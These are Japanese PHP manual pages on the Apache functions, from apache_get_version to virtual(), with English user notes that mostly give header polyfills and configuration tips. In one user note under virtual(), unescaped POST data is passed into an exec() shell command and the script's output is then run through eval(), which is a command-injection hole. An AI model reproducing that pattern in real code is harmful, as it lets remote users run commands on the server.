apache_get_version — Apache のバージョンを取得する

説明

apache_get_version ( ) : string|false

Apache のバージョンを取得します。

返り値

成功時は Apache のバージョン、失敗した場合に false を返します。

例

例1 apache_get_version() の例

<?php
$version = apache_get_version();
echo "$version\n";
?>

上の例の出力は、 たとえば以下のようになります。

Apache/1.3.29 (Unix) PHP/4.3.4

参考

  • phpinfo() - PHP の設定情報を出力する

User Contributed Notes

ladislav at prskavec dot net 07-Jun-2007 01:44
apache_get_version() - depends on settings in httpd.conf ServerTokens

Examples:

ServerTokens Full - Apache/2.0.55 (Win32) DAV/2
ServerTokens OS - Apache/2.0.55 (Win32)
ServerTokens Minor - Apache/2.0
ServerTokens Minimal - Apache/2.0.55
ServerTokens Major - Apache/2
ServerTokens Prod - Apache


Apache の subprocess_env 変数を取得する

  • ≪ apache_get_version
  • apache_lookup_uri ≫
  • PHP Manual
  • Apache 関数
  • Apache の subprocess_env 変数を取得する

apache_getenv

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

apache_getenv — Apache の subprocess_env 変数を取得する

説明

apache_getenv ( string $variable , bool $walk_to_top = false ) : string|false

variable で指定された Apache 環境変数を取得します。

パラメータ

variable

Apache の環境変数を指定します。

walk_to_top

全ての Apache レイヤについてのトップレベル変数を取得するかどうか を指定します。

返り値

成功時は Apache 環境変数の値、失敗時は false を返します。

例

例1 apache_getenv() の例

この例は、Apache の環境変数 SERVER_ADDR をどの様に取得するかを示しています。

<?php
$ret = apache_getenv("SERVER_ADDR");
echo $ret;
?>

上の例の出力は、 たとえば以下のようになります。

42.24.42.240

参考

  • apache_setenv() - Apacheサブプロセスの環境変数を設定する
  • getenv() - 環境変数の値を取得する
  • スーパーグローバル

User Contributed Notes

Anonymous 22-May-2018 10:49
This manual page is unclear as to whether it will fetch Apache configuration environment variables set by "SetEnv" (including "SetEnvIf[NoCase]" or "BrowserMatch" e.g.) as the only example given is with a pre-defined CGI interface variable (which is also available via the $_SERVER[] array).  If custom Apache runtime configuration variables are indeed fetchable via this interface, let's say so or give an example of such.
elhachmi at gmail dot com 27-Feb-2013 02:37
apache_getenv(key) does not work on an php cgi installation, in this case rather use $_SERVER["REDIRECT_key"]


リクエストの一部を指定したURIに対して行い、全ての情報を返す

  • ≪ apache_getenv
  • apache_note ≫
  • PHP Manual
  • Apache 関数
  • リクエストの一部を指定したURIに対して行い、全ての情報を返す

apache_lookup_uri

(PHP 4, PHP 5, PHP 7, PHP 8)

apache_lookup_uri — リクエストの一部を指定したURIに対して行い、全ての情報を返す

説明

apache_lookup_uri ( string $filename ) : object|false

この関数は、URIにリクエストの一部を行います。このリクエストは指定した リソースに関する全ての重要な情報を得るのに十分なものです。

この関数は、 PHP が apache モジュールとしてインストールされた場合のみサポートされます。

パラメータ

filename

リクエストされているファイル名 (URI)。

返り値

URI に関する情報のオブジェクトです。返される object のプロパティは次のようなものです。

  • status
  • the_request
  • status_line
  • method
  • content_type
  • handler
  • uri
  • filename
  • path_info
  • args
  • boundary
  • no_cache
  • no_local_copy
  • allowed
  • send_bodyct
  • bytes_sent
  • byterange
  • clength
  • unparsed_uri
  • mtime
  • request_time

失敗時に false を返します。

例

例1 apache_lookup_uri() の例

<?php
$info = apache_lookup_uri('index.php?var=value');
print_r($info);

if (file_exists($info->filename)) {
    echo 'file exists!';
}
?>

上の例の出力は、 たとえば以下のようになります。

stdClass Object
(
    [status] => 200
    [the_request] => GET /dir/file.php HTTP/1.1
    [method] => GET
    [mtime] => 0
    [clength] => 0
    [chunked] => 0
    [content_type] => application/x-httpd-php
    [no_cache] => 0
    [no_local_copy] => 1
    [unparsed_uri] => /dir/index.php?var=value
    [uri] => /dir/index.php
    [filename] => /home/htdocs/dir/index.php
    [args] => var=value
    [allowed] => 0
    [sent_bodyct] => 0
    [bytes_sent] => 0
    [request_time] => 1074282764
)
file exists!

User Contributed Notes

tester 12-Feb-2008 05:01
bug: with apache 2, apache_lookup_uri("/directory") spits out a warning and fails to return anything.  apache_lookup_uri("/directory/") works.

another bug: virtual("something") forces a header flush.  I know it's documented, but it would be rather wonderful if it didn't do this.  You never ever want to flush headers when you're using virtual() to include a dynamic file such as a PHP or Perl file, which excludes virtual() from being used on most of any website's contents :-(.
niels dot kootstra at gmail dot com 08-Feb-2008 04:04
It's a very usefull function but it doesn't show all outputs. For example I only see:
[status]
[the_request]
[method]
[mtime]
[clength]
[chunked]
[content_type]
[no_cache]
[no_local_copy]
[unparsed_uri]
[uri]
[filename]
[path_info]
[allowed]
[sent_bodyct]
[bytes_sent]
[request_time]
redbeard at mdjohnson dot nospam dot us 17-Apr-2003 05:15
A useful feature is that if you have content negotiation on (Options MultiViews) Apache will resolve the negotiation for you if possible.  Thus www.example.com/blah will resolve to /base/blah.php or /base/blah.html or even /base/blah.en.html as appropriate.


Apacheリクエスト記号(note)を取得/設定する

  • ≪ apache_lookup_uri
  • apache_request_headers ≫
  • PHP Manual
  • Apache 関数
  • Apacheリクエスト記号(note)を取得/設定する

apache_note

(PHP 4, PHP 5, PHP 7, PHP 8)

apache_note — Apacheリクエスト記号(note)を取得/設定する

説明

apache_note ( string $note_name , string|null $note_value = null ) : string|false

この関数は、Apache の table_get および table_set のラッパーです。 リクエスト中に存在する note のテーブルを編集します。 このテーブルは、Apache モジュール間の通信に用いるものです。

apache_note() の主な使用法は、 同一リクエスト内でのモジュール間の情報のやりとりです。

パラメータ

note_name

記号の名前

note_value

記号の値

返り値

note_value が省略されるか、null の場合、 note_name の現在の値が返されます。 そうでない場合、記号note_name の値をnote_valueにセットし、前の記号 note_nameの値を返します。 もし記号が処理できない場合、false が返されます。

変更履歴

バージョン | 説明
8.0.0 | note_value は、nullable になりました。

例

例1 PHP と Perl との間での情報のやりとり

<?php

apache_note('name', 'Fredrik Ekengren');

// perl スクリプトをコールします
virtual("/perl/some_script.pl");

$result = apache_note("resultdata");
?>
# Apache リクエストオブジェクトを取得します
my $r = Apache->request()->main();

# 受け取ったデータを取得します
my $name = $r->notes('name');

# 何らかの処理をします

# 結果を PHP 側に戻します
$r->notes('resultdata', $result);

例2 access.log への出力

<?php

apache_note('sessionID', session_id());

?>
# "%{sessionID}n" を LogFormat ディレクティブで使用できます

参考

  • virtual() - Apache サブリクエストを実行する

User Contributed Notes

There are no user contributed notes for this page.


すべての HTTP リクエストヘッダを取得する

  • ≪ apache_note
  • apache_response_headers ≫
  • PHP Manual
  • Apache 関数
  • すべての HTTP リクエストヘッダを取得する

apache_request_headers

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

apache_request_headers — すべての HTTP リクエストヘッダを取得する

説明

apache_request_headers ( ) : array

現在のリクエストにおけるすべての HTTP リクエストヘッダを取得します。 Apache, FastCGI, CLI, FPM ウェブサーバで動作します。

返り値

現在のリクエストにおけるすべての HTTP ヘッダの連想配列、 あるいは失敗時は false を返します。

変更履歴

バージョン | 説明
7.3.0 | FPM SAPI でもこの関数が使えるようになりました。

例

例1 apache_request_headers() の例

<?php
$headers = apache_request_headers();

foreach ($headers as $header => $value) {
    echo "$header: $value <br />\n";
}
?>

上の例の出力は、 たとえば以下のようになります。

Accept: */*
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0
Host: www.example.com
Connection: Keep-Alive

注意

注意:

環境変数を読み込むことにより、共通の CGI 変数の値を取得することも可能です。 これは、PHPがApacheモジュール として使用されているかどうかにはよらず動作します。 利用可能な環境変数 の一覧を見るには、phpinfo()を使用してください。

参考

  • apache_response_headers() - HTTPレスポンスヘッダを全て取得する

User Contributed Notes

Tel 26-Sep-2019 01:54
Although we expect to see headers in mixed case, the standard RFC2616 demands that "field names are case-insensitive". PHP delivers the headers exactly untouched in whatever way the client sent them. Potentially you should expect to get any type of uppercase or lowercase or mixed.

Thus, if you want to be standards compliant, you must loop through every key and check it in a case-insensitive manner, instead of doing the obvious thing and using the name of the header as an array index.
egocentryk 03-Feb-2015 11:13
Superglobal $_SERVER,  used in all patches for missing getallheaders() contains only truly basic headers.  To pass ANY header into PHP in any httpd environment, including CGI/FCGI just add rule (any number of rules) into .htaccess:

RewriteRule .* - [E=HTTP_MY_HEADER:%{HTTP:My-Header}]

and the header with it's value will appear for PHP as
<?php print $_SERVER['HTTP_MY_HEADER']; ?>

And... just couldn't hold off. Rewrtiting $_SERVER keys for replacing missing function really does not require RegExps, preg_matches or evals... Try this:
<?php
function getallheaders() {
  foreach($_SERVER as $K=>$V){$a=explode('_' ,$K);
      if(array_shift($a)=='HTTP'){
           array_walk($a,function(&$v){$v=ucfirst(strtolower($v));});
       $retval[join('-',$a)]=$V;}
    } return $retval; }
 ?>
uli dot staerk at globalways dot net 16-Dec-2014 09:22
A slightly modified version from  limalopex.eisfux.de. Fixes the missing Headers Content-Type and Content-Length and makes it Camel-Case.

<?php
if( !function_exists('apache_request_headers') ) {
        function apache_request_headers() {
                $arh = array();
                $rx_http = '/\AHTTP_/';
                foreach($_SERVER as $key => $val) {
                        if( preg_match($rx_http, $key) ) {
                                $arh_key = preg_replace($rx_http, '', $key);
                                $rx_matches = array();
                                // do some nasty string manipulations to restore the original letter case
                                // this should work in most cases
                                $rx_matches = explode('_', strtolower($arh_key));
                                if( count($rx_matches) > 0 and strlen($arh_key) > 2 ) {
                                        foreach($rx_matches as $ak_key => $ak_val) $rx_matches[$ak_key] = ucfirst($ak_val);
                                        $arh_key = implode('-', $rx_matches);
                                }
                                $arh[$arh_key] = $val;
                        }
                }
                if(isset($_SERVER['CONTENT_TYPE'])) $arh['Content-Type'] = $_SERVER['CONTENT_TYPE'];
                if(isset($_SERVER['CONTENT_LENGTH'])) $arh['Content-Length'] = $_SERVER['CONTENT_LENGTH'];
                return( $arh );
        }
}
callum85 at notspam dot msn dot com 18-Apr-2007 11:07
There is a simple way to get request headers from Apache even on PHP running as a CGI. As far as I know, it's the only way to get the headers "If-Modified-Since" and "If-None-Match" when apache_request_headers() isn't available. You need mod_rewrite, which most web hosts seem to have enabled. Put this in an .htacess file in your web root:

RewriteEngine on
RewriteRule .* - [E=HTTP_IF_MODIFIED_SINCE:%{HTTP:If-Modified-Since}]
RewriteRule .* - [E=HTTP_IF_NONE_MATCH:%{HTTP:If-None-Match}]

The headers are then available in PHP as
<?php
  $_SERVER['HTTP_IF_MODIFIED_SINCE'];
  $_SERVER['HTTP_IF_NONE_MATCH'];
?>

I've tested this on PHP/5.1.6, on both Apache/2.2.3/Win32 and Apache/2.0.54/Unix, and it works perfectly.

Note: if you use RewriteRules already for clean URLs, you need to put the above rules AFTER your existing ones.
limalopex.eisfux.de 29-Oct-2006 09:01
I didn't found a replacement for apache_request_headers() in PHP::Compat (http://pear.php.net/package/PHP_Compat) so I wrote my own:

<?php
if( !function_exists('apache_request_headers') ) {
///
function apache_request_headers() {
  $arh = array();
  $rx_http = '/\AHTTP_/';
  foreach($_SERVER as $key => $val) {
    if( preg_match($rx_http, $key) ) {
      $arh_key = preg_replace($rx_http, '', $key);
      $rx_matches = array();
      // do some nasty string manipulations to restore the original letter case
      // this should work in most cases
      $rx_matches = explode('_', $arh_key);
      if( count($rx_matches) > 0 and strlen($arh_key) > 2 ) {
        foreach($rx_matches as $ak_key => $ak_val) $rx_matches[$ak_key] = ucfirst($ak_val);
        $arh_key = implode('-', $rx_matches);
      }
      $arh[$arh_key] = $val;
    }
  }
  return( $arh );
}
///
}
///
?>


HTTPレスポンスヘッダを全て取得する

  • ≪ apache_request_headers
  • apache_setenv ≫
  • PHP Manual
  • Apache 関数
  • HTTPレスポンスヘッダを全て取得する

apache_response_headers

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

apache_response_headers — HTTPレスポンスヘッダを全て取得する

説明

apache_response_headers ( ) : array|false

全てのApacheレスポンスヘッダを配列として取得します。 Apache, FastCGI, CLI, FPM ウェブサーバで動作します。

返り値

全てのApacheレスポンスヘッダの配列、失敗した場合に false を返します。

例

例1 apache_response_headers() の例

<?php
print_r(apache_response_headers());
?>

上の例の出力は、 たとえば以下のようになります。

Array
(
    [Accept-Ranges] => bytes
    [X-Powered-By] => PHP/4.3.8
)

参考

  • apache_request_headers() - すべての HTTP リクエストヘッダを取得する
  • headers_sent() - ヘッダが既に送信されているかどうかを調べる
  • headers_list() - 送信した (もしくは送信される予定の) レスポンスヘッダの一覧を返す

User Contributed Notes

Anonymous 11-Sep-2016 03:01
call it after the you send the output to get all the headers
php at mailplus dot pl 18-Feb-2011 01:11
I get  "Call to undefined function apache_response_headers()" when using php-cli so be aware of lack of this function CLI.
In my case I was trying to test my app via phpunit (command line tool of course ;)) if it sends proper headers.
Isaac Z dot Schlueter i at foohack dot com 28-May-2009 08:57
This function doesn't exist on lighttpd, so I wrote this little function to emulate it:

<?php

if (!function_exists('apache_response_headers')) {
    function apache_response_headers () {
        $arh = array();
        $headers = headers_list();
        foreach ($headers as $header) {
            $header = explode(":", $header);
            $arh[array_shift($header)] = trim(implode(":", $header));
        }
        return $arh;
    }
}

?>
Daniel Lorch 24-May-2007 09:53
Addendum: The code

<pre>
<?php
  print_r(apache_request_headers());
?>
</pre>

gives me

 Array
 (
    [X-Powered-By] => PHP/5.1.6
 )

But the code
<pre>
<?php
  ob_end_flush();
  print_r(apache_request_headers());
?>
</pre>

Results in

 Array
 (
    [Content-Location] => phpinfo.de.php
    [Vary] => negotiate
    [TCN] => choice
    [X-Powered-By] => PHP/5.1.6
    [Keep-Alive] => timeout=15, max=96
    [Connection] => Keep-Alive
    [Transfer-Encoding] => chunked
    [Content-Type] => text/html
    [Content-Language] => de
 )
Daniel Lorch 24-May-2007 09:46
I can confirm athlet's experience with apache_response_headers() using PHP 5.1.6. When the resulting array is empty or only contains "X-Powered-By" instead of the full list of values, you'll need to switch off output_buffering _before_ the script has been executed, for example with the following directive in .htaccess:

php_value "output_buffering" "0"

it _doesn't_ work when you do a you ini_set('output_buffering', 0); in your script. Not sure why that is so - it is not a bug in PHP, but probably has to do with how Apache populates the request values.
athlet 01-Feb-2006 09:37
For apache_response_headers() working good, you need to set  up output_buffering = Off in php.ini
orange 05-Sep-2005 08:17
If apache_response_headers() returns an empty array, try calling flush() before and it'll get filled.


Apacheサブプロセスの環境変数を設定する

  • ≪ apache_response_headers
  • getallheaders ≫
  • PHP Manual
  • Apache 関数
  • Apacheサブプロセスの環境変数を設定する

apache_setenv

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

apache_setenv — Apacheサブプロセスの環境変数を設定する

説明

apache_setenv ( string $variable , string $value , bool $walk_to_top = false ) : bool

apache_setenv() は variable で指定された Apache 環境変数の値を設定します。

注意:

Apache 環境変数を設定しても、対応する $_SERVER の値は変更されません。

パラメータ

variable

設定する環境変数

value

variable の新しい値

walk_to_top

全ての Apache レイヤに対して有効なトップレベルの変数を設定するかどうか

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 apache_setenv() を使った Apache 環境変数の設定

<?php
apache_setenv("EXAMPLE_VAR", "Example Value");
?>

注意

注意:

apache_setenv() は、分割されたページや PHP スクリプトによって取り込まれた Server Side Includes (.shtml) に渡すための変数を設定する場合、 apache_getenv() と対にして使用することができます。

参考

  • apache_getenv() - Apache の subprocess_env 変数を取得する

User Contributed Notes

RLG 10-Jan-2006 04:16
If you are using mod_gzip or mod_deflate to compress HTML output, you're not able to send partial file to the browser....

To disable mod_deflate in PHP (if needed), you can tell Apache with this :

apache_setenv('no-gzip', '1');
guilleva at gmail dot com 28-Jul-2005 10:25
When you need to set the QUERY_STRING variable into a page included with the "virtual" function do this:

virtual ("some_page.shtml?$QUERY_STRING");

apache_setenv does not work for this case.
phpnotes at kipu dot co dot uk 03-Jun-2003 06:34
If you set a variable, either new or existing, the corresponding $_SERVER variable is not changed, and you will have to change it as well.
sixxgate at yahoo dot com 22-Jan-2003 03:56
When you want to set variables to pass to Server Side Includes (.shtml) included in PHP scripts, use this.


全てのHTTPリクエストヘッダを取得する

  • ≪ apache_setenv
  • virtual ≫
  • PHP Manual
  • Apache 関数
  • 全てのHTTPリクエストヘッダを取得する

getallheaders

(PHP 4, PHP 5, PHP 7, PHP 8)

getallheaders — 全てのHTTPリクエストヘッダを取得する

説明

getallheaders ( ) : array

すべての HTTP ヘッダを現在のリクエストから取得します。

この関数は、 apache_request_headers()のエイリアスです。 この関数は、カレントのリクエストにおける全てのHTTPヘッダーを有する 連想配列を返します。この関数の動作に関する詳細については、 apache_request_headers()のドキュメントを参照して ください。

返り値

全てのHTTPリクエストヘッダの連想配列、もしくは失敗時に false を返します。

変更履歴

バージョン | 説明
7.3.0 | FPM SAPI でもこの関数が使えるようになりました。

例

例1 getallheaders() の例

<?php

foreach (getallheaders() as $name => $value) {
    echo "$name: $value\n";
}

?>

参考

  • apache_response_headers() - HTTPレスポンスヘッダを全て取得する

User Contributed Notes

michaelmcandrew at thirdsectordesign dot org 28-Feb-2020 11:18
A simple approach to dealing with case insenstive headers (as per RFC2616) is via the built in array_change_key_case() function:

$headers = array_change_key_case(getallheaders(), CASE_LOWER);
andersmyren at hotmail dot com 25-Jul-2019 07:52
Due to the else part.
}else{
                    $out[$key]=$value;
All server Variables are added to the headers list, and that's not the desired outcome.
Anonymous 11-Feb-2016 06:49
There's a polyfill for this that can be downloaded or installed via composer:

https://github.com/ralouphie/getallheaders
acidfilez at gmail dot com 07-Jun-2011 09:16
dont forget to add the content_type and content_lenght if your are uploading file:

<?php
  function emu_getallheaders() {
        foreach ($_SERVER as $name => $value)
       {
           if (substr($name, 0, 5) == 'HTTP_')
           {
               $name = str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5)))));
               $headers[$name] = $value;
           } else if ($name == "CONTENT_TYPE") {
               $headers["Content-Type"] = $value;
           } else if ($name == "CONTENT_LENGTH") {
               $headers["Content-Length"] = $value;
           }
       }
       return $headers;
    }
?>

chears magno c. heck
majksner at gmail dot com 08-Sep-2010 10:24
apache_request_headers replicement for nginx

<?php
if (!function_exists('apache_request_headers')) {
        function apache_request_headers() {
            foreach($_SERVER as $key=>$value) {
                if (substr($key,0,5)=="HTTP_") {
                    $key=str_replace(" ","-",ucwords(strtolower(str_replace("_"," ",substr($key,5)))));
                    $out[$key]=$value;
                }else{
                    $out[$key]=$value;
        }
            }
            return $out;
        }
}
?>
joyview at gmail dot com 06-Jul-2008 08:52
it could be useful if you using nginx instead of apache

<?php
if (!function_exists('getallheaders'))
{
    function getallheaders()
    {
           $headers = [];
       foreach ($_SERVER as $name => $value)
       {
           if (substr($name, 0, 5) == 'HTTP_')
           {
               $headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5)))))] = $value;
           }
       }
       return $headers;
    }
}
?>
lorro at lorro dot hu 19-Apr-2005 06:25
Beware that RFC2616 (HTTP/1.1) defines header fields as case-insensitive entities. Therefore, array keys of getallheaders() should be converted first to lower- or uppercase and processed such.


Apache サブリクエストを実行する

  • ≪ getallheaders
  • FastCGI Process Manager ≫
  • PHP Manual
  • Apache 関数
  • Apache サブリクエストを実行する

virtual

(PHP 4, PHP 5, PHP 7, PHP 8)

virtual — Apache サブリクエストを実行する

説明

virtual ( string $uri ) : bool

virtual() は、mod_include の <!--#include virtual...--> と似ている Apache 用関数です。 この関数は、Apache サブリクエストを実行します。 CGI スクリプトまたは .shtml ファイル、Apache を通して解釈を行う 他のものがある場合にこの関数は有用です。 CGI スクリプトの場合、そのスクリプトは、有効な CGI ヘッダを生成する 必要があることに注意してください。 最低でも、Content-Type ヘッダを生成する必要があります。

サブリクエストを実行するには、全てのバッファを終了、ブラウザへフラッシュし、 待機状態のヘッダも送信しておきます。

この関数は、 PHP が apache モジュールとしてインストールされた場合のみサポートされます。

パラメータ

uri

virtual コマンドが実行されるファイル

返り値

成功時は virtual コマンドの実行、失敗時は false を返します。

例

apache_note() の例を参照ください。

注意

警告

クエリ文字列をインクルードされるファイルに渡す事ができますが、 $_GET は親スクリプトからコピーされ、 $_SERVER['QUERY_STRING'] は渡されたクエリ文字列に なります。クエリ文字列は、Apache 2 を使用している場合の見渡されます。 要求されたファイルは Apache アクセスログに出力されません。

注意:

要求されたファイルの中で設定された環境変数は、呼び出し元の スクリプトからは見えません。

注意:

この関数を PHP ファイルに対して使ってもかまいません。 しかし、一般的に、PHP ファイルに対しては include あるいは require を使うほうがいいでしょう。

参考

  • apache_note() - Apacheリクエスト記号(note)を取得/設定する

User Contributed Notes

php at nagler-ihlein dot de 10-Jan-2020 01:22
Starting with 7.2 various session related things were changed and it seems part of it is conflicting with virtual(). Calling it you may receive a "PHP Warning:  virtual(): Headers already sent. You cannot change the session module's ini settings at this time in ..." although no header was set and virtual() should simply provide static content from a file.

It took half a day to find out that some main session.configuration.php settings (e.g. save_handler, serialize_handler, or save_path) in the Apache config (all levels) are causing this. It seems the settings are regarded as likely to change headers but virtual() is already beyond sending them. Unfortunately the warning is then not only logged to error_log but also part of the content virtual() sends to the client which screws it up - the format of the content like binary image data is no more correct.

If you do not need php's session management you can remove all session.* settings in your apache configuration to avoid the warning. Otherwise a workaround is to switch off E_WARNING before calling virtual().

<?php
$filename = '/data/image.jpg';
$level = error_reporting();
error_reporting($level & ~E_WARNING);
virtual($filename);
error_reporting($level);
?>
Peter Kehl 12-Jan-2013 03:47
This documentation is not clear enough. Parameter $filename is not a filename as on the filesystem, but a URI. It can be absolute, starting with /, or relative to URI that involved the PHP script which called virtual(). (I.e. if the PHP script that calls virtual() is invoked via PHP require/require_once/include/include_once mechanism and it passes a relative URI to virtual(), then that URI must be relative to the URI of the topmost PHP script on the inclusion stack.)

Not sure how relative URIs work if the request which calls virtual() was processed through Apache rewrite rules.
jhibbard at gmail dot com 09-Dec-2009 02:42
While the virtual() function has it's promising sides, there exists issues when using it in relation to a cache system such as eAccellerator.  The issue becomes that the first time you load with a virtual file, it will seem to work fine.  But once the cache is put into play, the virtual call will end up returning nothing at all, and basically returning a blank page.

Please realize that this is not an issue with virtual(), but instead an issue of the cacheing application.  Should anyone else have a similar issue, hopefully this will shed some light onto this subject.

Jonathon Hibbard
phpforum at joolee dot nl 04-Feb-2009 12:00
Problem with most of the scripts posted below is that virtual() flushes the pending headers before making the subrequest. Requesting an image with virtual() still returns a text/html type document.
A workaround is to set the content-type first. But that requires getting the content-type first.

I'm using the following script for now. A disadvantage is that Apache makes 2 subrequests.

<?PHP
$file = '/resources/7z.gif';
$file_info = apache_lookup_uri($file);
header('content-type: ' . $file_info -> content_type);
virtual($file);
die();
?>
Anonymous at spam dot org 08-May-2007 05:13
Note that QUERY_STRING seems to get inherited, so to make a virtual request WITHOUT one, one needs to explicitly append a "?" to the URL of the sub-request (to cause the creation of a "null" query string).  Of course, if the desired URL has its own query string, that will override and an additional "?" should not be appended.

This was with PHP 4.4.7 (released May 2007).
vcaron at bearstech dot com 07-Jul-2006 03:26
You can use virtual() to implement your own dispatcher/auth handler in an efficient and effective way.

For instance if you have a bunch of images you would like to be served statically by Apache (its job after all), but with a more com
plex access pattern than mod_access allows you to do (say a MySQL lookup with your app logic), try this simple Apache rule:

  Order Allow,Deny
  Allow from env=PHP_ALLOW

Then in your PHP script, before sending any content or header:

<?php
$image = "/some/URL/path/test.png";
if (client_may_view_image($image)) {
  apache_setenv('PHP_ALLOW', '1');
  if (virtual($image))
    exit(0);
  echo "Ops, failed to fetched granted image $image (hammer your webmaster).\n";
} else
  echo "Sorry buddy, you're not allowed in here.\n";
?>

Of course very Apache-ish, but it's much more efficient and uniform to rely on Apache rather than passthru() and mime_content_type()
 hacks : it does the path lookup and auth/security audit as the admin expects, use the best static serving it can (think 'sendfile')
 and you can even chain your request with another embedded script eg. in mod_perl.
ruibal_DELETED_p*AT*gmail__dot__com 05-Feb-2006 03:04
when php is installed as an apache module, this works pretty well for writing your own php preprocessor/information logger. For example, requests to any URI underneath pre.php will first be executed by pre.php, then returned to the user.
<?
$docroot        = $_SERVER['DOCUMENT_ROOT'];
$script_root    = str_replace( basename($_SERVER['SCRIPT_NAME']),'',$_SERVER['SCRIPT_NAME'] );
$script_ext     = substr( $_SERVER['SCRIPT_NAME'], strrpos( $_SERVER['SCRIPT_NAME'],'.' ) );
$fakework_root  = $script_root.basename( $_SERVER['SCRIPT_NAME'] ).'/';
$framework_root = $script_root.'_'.basename( $_SERVER['SCRIPT_NAME'], $script_ext ).'/';
$frequest_root  = dirname( $framework_root.substr( $_SERVER['PATH_INFO'], 1 )).'/';
$frequest_name  = basename( $_SERVER['PATH_INFO'] );
$frequest_ext   = (strrpos($frequest_name,'.')===FALSE ? FALSE : strtolower(substr( $frequest_name, ( strrpos( $frequest_name, '.' )+1 ) ) ) );
$frequest_full  = $frequest_root.$frequest_name;
$doc_frequest   = $docroot.$frequest_full;
$doc_framework   = $docroot.$framework_root;

$DO_PARSE = in_array( $frequest_ext, $chk_exts );
if( $DO_PARSE )
{
    $tmpfname = tempnam( $doc_framework.'tmp', 'aj_' ).($frequest_ext? ('.'.$frequest_ext) : '');
    if( ($to_parse=@file_get_contents($doc_frequest))===FALSE )
        $to_parse="404";
    $tmpvname = str_replace( $docroot, '', $tmpfname );
    $tmpvname = str_replace( '\\\\', '/', $tmpvname );
// - - - - - - - - - - - - - - - - - - - - - - - - - - -
//  Do processing of data stored in $to_parse
// - - - - - - - - - - - - - - - - - - - - - - - - - - -
    $to_parse = striptags( $to_parse );

// - - - - - - - - - - - - - - - - - - - - - - - - - - -
    $handle = fopen($tmpfname, "w");
    fwrite($handle, $to_parse);
    fclose($handle);
    @virtual( $tmpvname.$getvars );
    unlink( $tmpfname );
}
else
    @virtual( $frequest_full.$getvars );

?>

So all files in http://server/sub/pre.php/path/ are really located in http://server/sub/_pre/path/

All this needs is some kind of caching mechanism.

But yeah, this could be modified to add watermarks with the image functions, convert to xml with Tidy, check for extensions better with mimeTypes, proxy content with cURL, validate $_SERVER['HTTP_REFERER'] or $_SERVER['HTTP_USER_AGENT'], etc etc

This gives you much more over than the auto_prepend_file, and auto_append_file, for certain functionality

The key is the virtual function _because_ it delivers the modified content with an apache subrequest.
abentley at panoramicfeedback dot com 17-Jun-2003 10:29
Here's an update to tomwk's code:
function safe_virtual( $filename )
{
   $curDir = getcwd();
   virtual ( $filename );
   chdir( $curDir );
}

This is better if you've already changed your current directory to be something other than your script's directory.  It works for PHP4 and above.
php at n-wise dot com 02-Jan-2003 11:15
I saw the note above about the length of the query string... but didn't know what it was, so have altered the code so it can post to the script.
Probly only works on nix systems as it makes use of the echo function...
This code also will look evaluate the result, so you can get cgi to dynamically create PHP (probly best to watch out that posted variables do not include script!)
<?
$CGISCRIPT="./cgi-bin/cgiscript.cgi";
 // preparing the arguments passed to this PHP page
$QSTRING = $QUERY_STRING;

foreach ($HTTP_POST_VARS as $header=> $value ){
 if($QSTRING==""){
    $QSTRING = $header.'='.urlencode($value);
 }else{
    $QSTRING = $QSTRING.'&'.$header.'='.urlencode($value);
 }
}

putenv('REQUEST_METHOD=POST');
putenv('CONTENT_TYPE=application/x-www-form-urlencoded');
putenv('CONTENT_LENGTH='.strlen($QSTRING));
putenv('QUERY_STRING='.$QSTRING);
unset($return_array);
exec('echo "'.$QSTRING.'"| '.$CGISCRIPT, $return_array, $return_val);

//The 1st line of my script was "Content...." ... so remove it!
$firstline=array_shift($return_array);
//evaluate the code
eval('?>'.implode($return_array,''));

?>
chardin at ssc dot wisc dot edu 07-Nov-2002 03:00
If you are having problems using virtual include becuase of files being stored in different directories, a root-relative path will make things much easier:

virtual ("/root directory/directory/filename.htm/");

where root directory is the root directory of your site (ask your sys admin if you dont know what it is) Don't include the protocol or host name.

This will also allow you to move your files around your site without having to redirect your includes which is *very* helpfull
crazyted at crazyted dot com 10-Jan-2002 11:57
I have a header that's include()'ed on each of my pages. I then wanted to add a Perl script to that header file (header.php) via the virtual() command.

Since my header is used by documents in my /www folder along with other folders inside that (and inside those), and virtual() seems to take only relative paths, I had to write some code to dynamically get the path to the perl script.

Hope this helps some ppl out:

  $cwd = getcwd();
  $script_name = "cgi-bin/perl_script.pl";
  $count = substr_count($cwd, '/');
  $count = $count - 3;
  // get rid of extra absolute paths since my directory is /home/user/www

  // Add additional path information
  for($i = 1; $i <= $count; $i++){
    $script_name = "../".$script_name;
  }
  virtual($script_name);
s dot dan at free dot fr 31-Jul-2001 08:43
Another way of passing arguments:
If you have some CGI programs that depend on some libraries where you can't change the source code (in my case an online payment library), you can pass the arguments by changing some environment variables.

Of course the CGI program has to get the GET/POST variables in the usual manner.
It simulates, more or less, a direct call from the server to a CGI program:

// preparing the arguments passed to this PHP page
$QSTRING = $QUERY_STRING;

// pay attention to the maximum length of the QUERY string.
while (list ($header, $value) = each ($HTTP_POST_VARS)){
  if (empty($QSTRING))
    $QSTRING = $header.'='.$value;
 else
    $QSTRING = $QSTRING.'&'.$header.'='.$value;
}

putenv('REQUEST_METHOD=GET');
putenv('QUERY_STRING='.$QSTRING);

unset($return_array);
exec('my_CGI', $return_array, $return_val);

Now you can parse the output of 'my_CGI' in return_array.
logang at deltatee dot com 26-Apr-2001 07:21
If you want to pass all post and get values to the cgi script you can use this code:

<?php
$QSTRING = $QUERY_STRING;
while (list ($header, $value) = each ($HTTP_POST_VARS))
{
   $QSTRING = $QSTRING.'&'.$header.'='.$value;
}

virtual($script.'?'.$QSTRING);
?>

It takes all the values of $HTTP_POST_VARS and appends them in the proper format to the values you get in $QUERY_STRING
david at audiogalaxy dot com 28-Nov-1999 10:44
Virtual returns the HTTP entity header after the requested file, when it's the first output to the page.

The work-around to prevent seeing the header is, of course, to output something (such as echo " "; ) before calling virtual.


FastCGI Process Manager

  • はじめに
  • インストール/設定
  • FPM 関数
    • fastcgi_finish_request — すべてのレスポンスデータをクライアントにフラッシュする

User Contributed Notes

There are no user contributed notes for this page.


はじめに

